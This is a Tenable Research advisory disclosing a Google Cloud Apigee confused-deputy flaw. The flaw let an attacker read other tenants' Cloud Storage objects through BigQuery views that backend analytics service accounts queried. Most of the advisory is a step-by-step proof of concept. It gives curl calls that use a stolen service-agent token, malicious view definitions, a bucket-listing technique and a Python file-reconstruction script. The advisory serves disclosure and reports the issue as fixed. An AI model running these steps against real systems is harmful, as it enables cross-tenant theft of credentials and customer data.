Synopsis
Tenable Research has identified and responsibly disclosed a critical cross-tenant data exfiltration vulnerability in Google Cloud Apigee. This flaw allowed an attacker to abuse a "confused deputy" in Apigee's internal analytics infrastructure to read arbitrary Google Cloud Storage (GCS) objects across different tenants, as well as shared production infrastructure buckets.
The vulnerability stems from how Apigee's backend analytics services, specifically the first-party service accounts [email protected] and [email protected], query analytics datasets in tenant projects.
Using the Apigee runtime service agent token (retrieved via proxy policy access to the Instance Metadata Service), an attacker gains control over BigQuery tables in their tenant project's analytics dataset. The attacker can drop the expected analytics table (api_fact or trace_fact) and replace it with a BigQuery VIEW pointing to an external table over a target Google Cloud Storage URI.
When Apigee's backend processes query the api_fact view via the Stats or Debug APIs:
- Confused Deputy Execution: The backend service account (edge-uap or edge-gaambo) executes the attacker-defined VIEW using its own highly privileged internal credentials.
- Cross-Tenant GCS Access: Because the backend service account has broad read access to Apigee tenant storage buckets and shared infrastructure repositories, it successfully evaluates the external table's GCS read request. This includes shared Apigee production infrastructure buckets.
- Data Encoding & Exfiltration: The content of the target GCS files (such as API proxy bundles, credentials, backend URLs, or customer data) is rendered as dimension strings in the Stats API response, leaking the sensitive data back to the attacker.
Proof of Concept:
Setup:
- Create a victim Apigee organization and environment, with a deployed API proxy (for best results, the files should be ascii only)
- Note the Apigee bucket for the deployment, for the POC's purposes (in a real attack the attacker must obtain the name elsewhere):
https://apigee.googleapis.com/v1/organizations/<VICTIM_ORG>/environments/<VICTIM_ENV>/deployedConfig - Create an attacker Apigee organization and environment, deploy and trigger a proxy that exfiltrates the Service Agent token (You can follow the steps from issue 512456414)
- Define environment variables
export RUNTIME_TOKEN="<service-agent-token>"
export USER_TOKEN=$(gcloud auth print-access-token)
export TENANT_PROJECT=$(curl -s "<https://apigee.googleapis.com/v1/organizations/$ORG>" \
-H "Authorization: Bearer $USER_TOKEN" | python3 -c "import json,sys; print(json.load(sys.stdin)['apigeeProjectId'])")
export ORG="<attacker-apigee-org>"
export ANALYTICS_DATASET="analytics_<attacker_org_name>" # Replace - with _
export ENV="<attacker-environment>"
export VICTIM_BUCKET="<target-apigee-bucket>" # For the sake of the POC can be found here: <https://apigee.googleapis.com/v1/organizations/><VICTIM_ORG>/environments/<VICTIM_ENV>/deployedConfig
export VICTIM_OBJECT="<target-object-path>" # Can be found using step 2.
Exploit:
- Back up the original api_fact table (so analytics can be restored after exfiltration):
curl -s -X POST "<https://bigquery.googleapis.com/bigquery/v2/projects/$TENANT_PROJECT/queries>" \
-H "Authorization: Bearer $RUNTIME_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "CREATE TABLE `'$ANALYTICS_DATASET'.api_fact_backup` AS SELECT * FROM `'$ANALYTICS_DATASET'.api_fact` WHERE client_received_start_timestamp >= TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 30 DAY)",
"useLegacySql": false,
"location": "US"
}'
- List the contents of the victim's GCS bucket (to discover which objects are available for exfiltration):
# Create external table with wildcard URI to list all objects
curl -s -X POST "<https://bigquery.googleapis.com/bigquery/v2/projects/$TENANT_PROJECT/queries>" \
-H "Authorization: Bearer $RUNTIME_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "CREATE OR REPLACE EXTERNAL TABLE `'$ANALYTICS_DATASET'.exfil_ext` (c1 STRING) OPTIONS (format=\"CSV\", uris=[\"gs://'$VICTIM_BUCKET'/*\"], encoding=\"ISO-8859-1\", field_delimiter=\"$\", quote=\"\", allow_jagged_rows=true, preserve_ascii_control_characters=true, max_bad_records=999999)",
"useLegacySql": false,
"location": "US"
}'
# Deploy view that returns filenames as dimension values
curl -s -X POST "<https://bigquery.googleapis.com/bigquery/v2/projects/$TENANT_PROJECT/queries>" \
-H "Authorization: Bearer $RUNTIME_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "CREATE OR REPLACE VIEW `'$ANALYTICS_DATASET'.api_fact` AS SELECT _FILE_NAME AS apiproxy, \"'$ORG'\" AS organization, \"'$ENV'\" AS environment, TIMESTAMP(\"2026-05-26 12:00:00 UTC\") AS client_received_start_timestamp, 1 AS message_count, 1 AS total_response_time FROM `'$ANALYTICS_DATASET'.exfil_ext` GROUP BY _FILE_NAME",
"useLegacySql": false,
"location": "US"
}'
# Trigger via Stats API - response contains full file listing
curl -s "<https://apigee.googleapis.com/v1/organizations/$ORG/environments/$ENV/stats/apiproxy?select=sum(message_count)&timeRange=05/25/2026+00:00~05/29/2026+00:00&limit=1000>" \
-H "Authorization: Bearer $USER_TOKEN"
- The Stats API response will contain dimension names like gs://apigee-xxxx-.../<uuid>, listing every object in the victim's bucket. The _FILE_NAME pseudo-column is a BigQuery feature that returns the source GCS URI for each row in an external table.
- Once a target object is identified from step 2, create a BigQuery external table pointing to that specific file:
curl -s -X POST "<https://bigquery.googleapis.com/bigquery/v2/projects/$TENANT_PROJECT/queries>" \
-H "Authorization: Bearer $RUNTIME_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "CREATE OR REPLACE EXTERNAL TABLE `'$ANALYTICS_DATASET'.exfil_ext` (c1 STRING, c2 STRING, c3 STRING, c4 STRING, c5 STRING, c6 STRING, c7 STRING, c8 STRING, c9 STRING, c10 STRING) OPTIONS (format=\"CSV\", uris=[\"gs://'$VICTIM_BUCKET'/'$VICTIM_OBJECT'\"], encoding=\"ISO-8859-1\", field_delimiter=\"$\", quote=\"\", allow_jagged_rows=true, preserve_ascii_control_characters=true)",
"useLegacySql": false,
"location": "US"
}'
- Drop the existing api_fact table and replace it with a malicious VIEW that reads the external table and formats the output as Stats API dimensions:
# Drop existing api_fact
curl -s -X POST "<https://bigquery.googleapis.com/bigquery/v2/projects/$TENANT_PROJECT/queries>" \
-H "Authorization: Bearer $RUNTIME_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "DROP VIEW IF EXISTS `'$ANALYTICS_DATASET'.api_fact`",
"useLegacySql": false,
"location": "US"
}'
# Create malicious view
curl -s -X POST "<https://bigquery.googleapis.com/bigquery/v2/projects/$TENANT_PROJECT/queries>" \
-H "Authorization: Bearer $RUNTIME_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "CREATE OR REPLACE VIEW `'$ANALYTICS_DATASET'.api_fact` AS SELECT CONCAT(CAST(rn AS STRING), \":\", ARRAY_TO_STRING(ARRAY(SELECT CAST(cp AS STRING) FROM UNNEST(TO_CODE_POINTS(full_row)) cp), \",\")) AS apiproxy, \"'$ORG'\" AS organization, \"'$ENV'\" AS environment, TIMESTAMP(\"2026-05-26 12:00:00 UTC\") AS client_received_start_timestamp, 1 AS message_count, 1 AS total_response_time FROM (SELECT ROW_NUMBER() OVER() AS rn, ARRAY_TO_STRING([c1,c2,c3,c4,c5,c6,c7,c8,c9,c10], CHR(36)) AS full_row FROM `'$ANALYTICS_DATASET'.exfil_ext`)",
"useLegacySql": false,
"location": "US"
}'
- Trigger edge-uap via the Apigee Stats API. The Stats API causes [email protected] to query api_fact (now our VIEW), which reads the victim's GCS file using edge-uap's credentials:
curl -s "<https://apigee.googleapis.com/v1/organizations/$ORG/environments/$ENV/stats/apiproxy?select=sum(message_count)&timeRange=05/25/2026+00:00~05/29/2026+00:00&limit=10000>" \
-H "Authorization: Bearer $USER_TOKEN" > stats_response.json
- The Stats API response contains the victim's file content encoded as dimension names:
{
"environments": [{
"dimensions": [
{"name": "1:80,75,3,4,20,0,...", "metrics": [{"name": "sum(message_count)", "values": ["1"]}]},
{"name": "2:60,63,120,109,...", "metrics": [{"name": "sum(message_count)", "values": ["1"]}]},
...
],
"name": "eval"
}]
}
- Each dimension name is a row from the victim's file, encoded as row_number:codepoint,codepoint,.... These code points map directly back to the original file bytes.
- Reconstruct the victim's file from the code points (as noted this may result in a corrupted zip, but can be repaired using the attached script):
import json
# Parse stats response
response = json.loads(open("stats_response.json").read())
dims = response["environments"][0]["dimensions"]
rows = {}
for d in dims:
name = d["name"]
rn_str, cps_str = name.split(":", 1)
rn = int(rn_str)
cps = [int(x) for x in cps_str.split(",")]
rows[rn] = bytes(cp if cp <= 255 else CP1252_MAP[cp] for cp in cps)
# Reassemble file (rows separated by newline in CSV parsing)
max_row = max(rows.keys())
content = b"\n".join(rows.get(i, b"") for i in range(1, max_row + 1))
with open("exfiltrated_file_corrupted.zip", "wb") as f:
f.write(content)
- To exfiltrate the shared Apigee production files, use the same listing technique from step 2 against the shared bucket (gs://apigee-uap-deployment-prod), then point the external table at a discovered file path:
curl -s -X POST "<https://bigquery.googleapis.com/bigquery/v2/projects/$TENANT_PROJECT/queries>" \
-H "Authorization: Bearer $RUNTIME_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "CREATE OR REPLACE EXTERNAL TABLE `'$ANALYTICS_DATASET'.exfil_ext` (c1 STRING, c2 STRING, c3 STRING, c4 STRING, c5 STRING, c6 STRING, c7 STRING, c8 STRING, c9 STRING, c10 STRING) OPTIONS (format=\"CSV\", uris=[\"gs://apigee-uap-deployment-prod/<path-from-listing>\"], encoding=\"ISO-8859-1\", field_delimiter=\"$\", quote=\"\", allow_jagged_rows=true, preserve_ascii_control_characters=true)",
"useLegacySql": false,
"location": "US"
}'
- Then repeat steps 4-7.
- Restore api_fact after exfiltration (cleanup):
curl -s -X POST "<https://bigquery.googleapis.com/bigquery/v2/projects/$TENANT_PROJECT/queries>" \
-H "Authorization: Bearer $RUNTIME_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "DROP VIEW IF EXISTS `'$ANALYTICS_DATASET'.api_fact`; CREATE TABLE `'$ANALYTICS_DATASET'.api_fact` AS SELECT * FROM `'$ANALYTICS_DATASET'.api_fact_backup`",
"useLegacySql": false,
"location": "US"
}'
Solution
Google fixed this issue by adding strict validation checks to the backend analytics query pipeline.
Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]
Tenable One
Request a demo
The world’s leading AI-powered exposure management platform.
Thank You
Thank you for your interest in Tenable One.
A representative will be in touch soon.
Form ID: 7469
Form Name: one-eval
Form Class: c-form form-panel__global-form c-form--mkto js-mkto-no-css js-form-hanging-label c-form--hide-comments
Form Wrapper ID: one-eval-form-wrapper
Confirmation Class: one-eval-confirmform-modal
Simulate Success